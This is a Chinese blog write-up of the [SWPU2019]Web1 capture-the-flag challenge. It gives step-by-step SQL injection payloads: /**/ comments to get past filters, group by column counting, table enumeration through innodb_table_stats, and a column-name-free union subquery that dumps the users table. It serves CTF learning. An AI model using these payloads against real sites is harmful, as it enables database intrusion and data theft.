当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:52:00 【pakho_C】
[SWPU2019]Web1
尝试注册admin,显示已存在,爆破密码没爆出来
注册一个test账户 登陆
申请发布广告
尝试注入
使用单引号尝试,报错
说明存在注入,尝试万能密码

有过滤,尝试fuzz,但是限制了次数和不允许相同广告标题
所以只能手动测试,过滤了 or order floor updatexml # – 等,并且自动消除了空格,尝试内联注释/**/绕过
由于or被过滤,那么information_schema就无法使用,只能使用无列名注入,参考:SQL注入之无列名注入
1.使用group by获取列数:1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
得到列数为22
2.使用联合查询查看回显点:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
得到回显点为 2 3
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
3.使用innodb绕过,查看表名:-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
得到表名为 ads users
4.使用无列名注入查看users表中的第二个字段的内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
注:这里的联合注入使用的select 1,2,3可以测试出来,如果不匹配会有提醒
测出来为3列
得到字段名为flag,那么第三个字段中第一个值就是flag
将要查询的列改为3即可
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

边栏推荐
- UE4 通过互动(键盘按键)开门
- 2022 Hangzhou Electric Multi-School 1st Game
- DEJA_VU3D - Cesium功能集 之 057-百度地图纠偏
- The sword refers to Offer--find the repeated numbers in the array (three solutions)
- iMedicalLIS监听程序(2)
- Spark Basics [Introduction, Getting Started with WordCount Cases]
- Event parse tree Drain3 usage and explanation
- Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
- You may use special comments to disable some warnings. 报错解决的三种方式
- Shell script: for loop and the while loop
猜你喜欢

Haproxy搭建Web群集

多御安全浏览器 V10.8.3.1 版正式发布,优化多项内容

The test salary is so high?20K just graduated

mutillidae下载及安装

MRTK3 develops Hololens application - gesture drag, rotate, zoom object implementation

开发Hololens遇到The type or namespace name ‘HandMeshVertex‘ could not be found..

2022 High-level installation, maintenance, and removal of exam questions mock exam question bank and online mock exam

Index Mysql in order to optimize paper 02 】 【 10 kinds of circumstances and the principle of failure

Use Unity to publish APP to Hololens2 without pit tutorial

银行数据采集,数据补录与指标管理3大问题如何解决?
随机推荐
The most effective seven performance testing techniques of software testing techniques
Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
测试薪资这么高?刚毕业就20K
Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
基于生长的棋盘格角点检测方法
七夕节代码表白
惨遭打脸:字节某部门竟有这么多测试员
BI业务分析思维:现金流量风控分析(二)信用、流动和投资风险
rpc-remote procedure call demo
银行数据采集,数据补录与指标管理3大问题如何解决?
Bosses, I noticed that a mysql CDC connector parameters scan. The incremental. Sna
shell脚本:for循环与while循环
数据库设计的酸(ACID)碱(BASE)原则
Common open source databases under Linux, how many do you know?
How do newcomers get started and learn software testing?
Package zip is not available, but is referred to by another package.
Why is the pca component not associated
iMedicalLIS listener (2)
今年七夕,「情蔬」比礼物更有爱
将故事写成我们